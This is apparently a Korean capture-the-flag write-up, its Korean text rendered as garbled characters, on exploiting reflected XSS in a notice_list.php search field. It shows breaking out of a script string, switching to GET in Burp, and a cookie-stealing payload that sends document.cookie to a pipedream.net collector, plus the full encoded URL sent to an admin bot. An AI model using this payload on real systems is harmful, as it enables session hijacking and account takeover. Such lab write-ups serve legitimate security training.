์ทจ์ฝ์ ์ค๋ช
: Reflected XSS
์ทจ์ฝ์ ๋ฐ์ ์์น : notice_list.php
ํ์๊ฐ์
-๋ก๊ทธ์ธ-๊ฒ์ํ ๊ฒ์
์
๋ ฅํ ๊ฐ์ด ๊ทธ๋๋ก ๋ฌ๋ค. Reflected XSS์ ๊ฐ๋ฅ์ฑ!
ํน์๋ฌธ์ ๋จผ์ ๋ฃ์ด๋ณธ๋ค.
HTML Entity๋ก ๋ฐ๋๋ค.
๊บฝ์ ๋ ์ธ ์ ์์ผ๋ ์ฃผ์ด์ง ์คํฌ๋ฆฝํธ๋ฅผ ํ์ถํ์ง ์๊ณ alert(1) ๋จผ์ ์ถ๋ ฅํด๋ณด์.
<script>alert('"์
๋ ฅ๊ฐ"์ ๋ํ ๊ฒ์ ๊ฒฐ๊ณผ๊ฐ ์กด์ฌํ์ง ์์ต๋๋ค.')<script>
๋ผ๊ณ ๋์ด ์์ผ๋ ๊ตฌ๋ฌธ์ ๋ง์ถฐ์ฃผ๊ธฐ ์ํด ')์ ๋ฃ๊ณ ๋ค๋ ์ฃผ์์ฒ๋ฆฌ ํด์ฃผ์๋ค.
์๋ํ๋๋ก ์คํฌ๋ฆฝํธ๊ฐ ์คํ๋๋ ๊ฒ์ ํ์ธ.
Reflected XSS๋๊น GET ๋ฐฉ์์ผ๋ก๋ ์๋ํ๋์ง ๊ผญ!!! ์ฒดํฌํด์ผํ๋ค.
๋งํฌ๊ณต๊ฒฉ์ด๊ธฐ ๋๋ฌธ์ URL๋ก ๋ง๋ค์ด ๋ณด๋ด ํด๋น URL๋ก ์ ์ํ๋ฉด ์คํ๋์ด์ผํ๋ค. Burp์์ change request method ํด์ค๋ค.
GET๋ฐฉ์์ผ๋ก ๋ณด๋์๋ alert('1')์ด ์๋ํ๋ ๊ฒ์ ํ์ธ.
๋ค์๋ค๊ฐ ์ฟ ํคํ์ทจ ์ฝ๋๋ฅผ ์ฝ์ ํ๋ค. ๊ฒ์์ฐฝ์
1'); var cookieData =document.cookie;var i =new Image(); i.src = "https://en2hyoic3j7mi.x.pipedream.net/?cookie=" + cookieData; //
๋ฅผ ์ ๋ ฅํ๋ฉด ๋๋ค.
๊ณต๊ฒฉ์ ์๋ฒ๋ก ์ฟ ํค๊ฐ์ด ๋์ด์ค๋์ง ํ์ธํด๋ณด์.
์ฟ ํค๊ฐ์ด ์ ๋์ด์ค๊ณ ์๋ค!
๊ด๋ฆฌ์ ๋ด์ ํด๋น URL์ ๋ณด๋ด์.
http://ctf.segfaulthub.com:4343/xss_2/notice_list.php?option_val=username&board_result=1%27%29%3B+var+cookieData+%3Ddocument.cookie%3Bvar+i+%3Dnew+Image%28%29%3B+i.src+%3D+%22https%3A%2F%2Fen2hyoic3j7mi.x.pipedream.net%2F%3Fcookie%3D%22+%2B+cookieData%3B+%2F%2F&board_search=%F0%9F%94%8D&date_from=&date_to=
์ฟ ํคํ์ทจ ์ฑ๊ณต!